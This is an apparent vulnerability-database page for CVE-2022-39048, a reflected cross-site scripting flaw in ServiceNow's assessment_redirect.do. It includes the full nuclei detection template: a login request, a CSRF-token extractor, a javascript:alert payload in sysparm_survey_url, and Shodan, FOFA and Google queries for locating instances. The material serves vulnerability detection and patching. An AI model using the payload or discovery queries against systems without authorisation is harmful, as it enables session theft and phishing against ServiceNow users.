HexBrain

Browse / CVEs / CVE-2022-39048

CVE-2022-39048· servicenow / servicenow· CWE-79

ServiceNow - Cross-site Scripting

mediumseverity
6.1CVSS score
1.1%likelihood of exploitation, next 30 days
66%of all CVEs are less likely
Readycheck to confirm it

A XSS vulnerability was identified in the ServiceNow UI page assessment_redirect. To exploit this vulnerability, an attacker would need to persuade an authenticated user to click a maliciously crafted URL. Successful exploitation potentially could be used to conduct various client-side attacks, including, but not limited to, phishing, redirection, theft of CSRF tokens, and use of an authenticated user's browser or session to attack other systems.

Impact

Authenticated attackers can craft malicious URLs with JavaScript in the sysparm_survey_url parameter that executes when victims click the link, potentially stealing CSRF tokens, session cookies, or conducting phishing attacks to compromise ServiceNow authenticated users.

Fix

Update ServiceNow to the latest patched version that properly sanitizes the sysparm_survey_url parameter in assessment_redirect.do.

How to confirm it

Send: GET /navpage.do ; POST /login.do ; GET /assessment_redirect.do?sysparm_survey_url=javascript:alert(document.domain)//assessment_take2.do
Positive when: contains in body_3 "unwrapped_url = \"javascript:alert(document.domain)//assessm…" and "assessment_list.do" AND contains in header_3 "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-39048 -u <target>

The full check
id: CVE-2022-39048

info:
  name: ServiceNow - Cross-site Scripting
  author: theamanrawat
  severity: medium
  description: |
    A XSS vulnerability was identified in the ServiceNow UI page assessment_redirect. To exploit this vulnerability, an attacker would need to persuade an authenticated user to click a maliciously crafted URL. Successful exploitation potentially could be used to conduct various client-side attacks, including, but not limited to, phishing, redirection, theft of CSRF tokens, and use of an authenticated user's browser or session to attack other systems.
  impact: |
    Authenticated attackers can craft malicious URLs with JavaScript in the sysparm_survey_url parameter that executes when victims click the link, potentially stealing CSRF tokens, session cookies, or conducting phishing attacks to compromise ServiceNow authenticated users.
  remediation: |
    Update ServiceNow to the latest patched version that properly sanitizes the sysparm_survey_url parameter in assessment_redirect.do.
  reference:
    - https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB1221892
    - https://blog.amanrawat.in/2023/05/05/CVE-2022-39048.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-39048
    - https://support.servicenow.com/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-39048
    cwe-id: CWE-79
    epss-score: 0.01089
    epss-percentile: 0.65628
    cpe: cpe:2.3:a:servicenow:servicenow:quebec:-:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: servicenow
    product: servicenow
    shodan-query:
      - http.title:"ServiceNow"
      - http.title:"servicenow"
      - http.favicon.hash:1701804003
    fofa-query:
      - title="servicenow"
      - icon_hash=1701804003
    google-query: intitle:"servicenow"
  tags: cve,cve2022,xss,servicenow,authenticated,vuln

http:
  - raw:
      - |
        GET /navpage.do HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /login.do HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        sysparm_ck={{csrf}}&user_name={{username}}&user_password={{password}}&not_important=&ni.nolog.user_password=true&ni.noecho.user_name=true&ni.noecho.user_password=true&screensize=1920x1080&sys_action=sysverb_login&sysparm_login_url=welcome.do
      - |
        GET /assessment_redirect.do?sysparm_survey_url=javascript:alert(document.domain)//assessment_take2.do HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - 'unwrapped_url = "javascript:alert(document.domain)//assessment_take2.do"'
          - 'assessment_list.do'
        condition: and

      - type: word
        part: header_3
        words:
          - 'text/html'

      - type: status
        part: header_3
        status:
          - 200

    extractors:
      - type: regex
        name: csrf
        part: body
        group: 1
        regex:
          - 'name="sysparm_ck" id="sysparm_ck" type="hidden" value="(.*?)"'
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from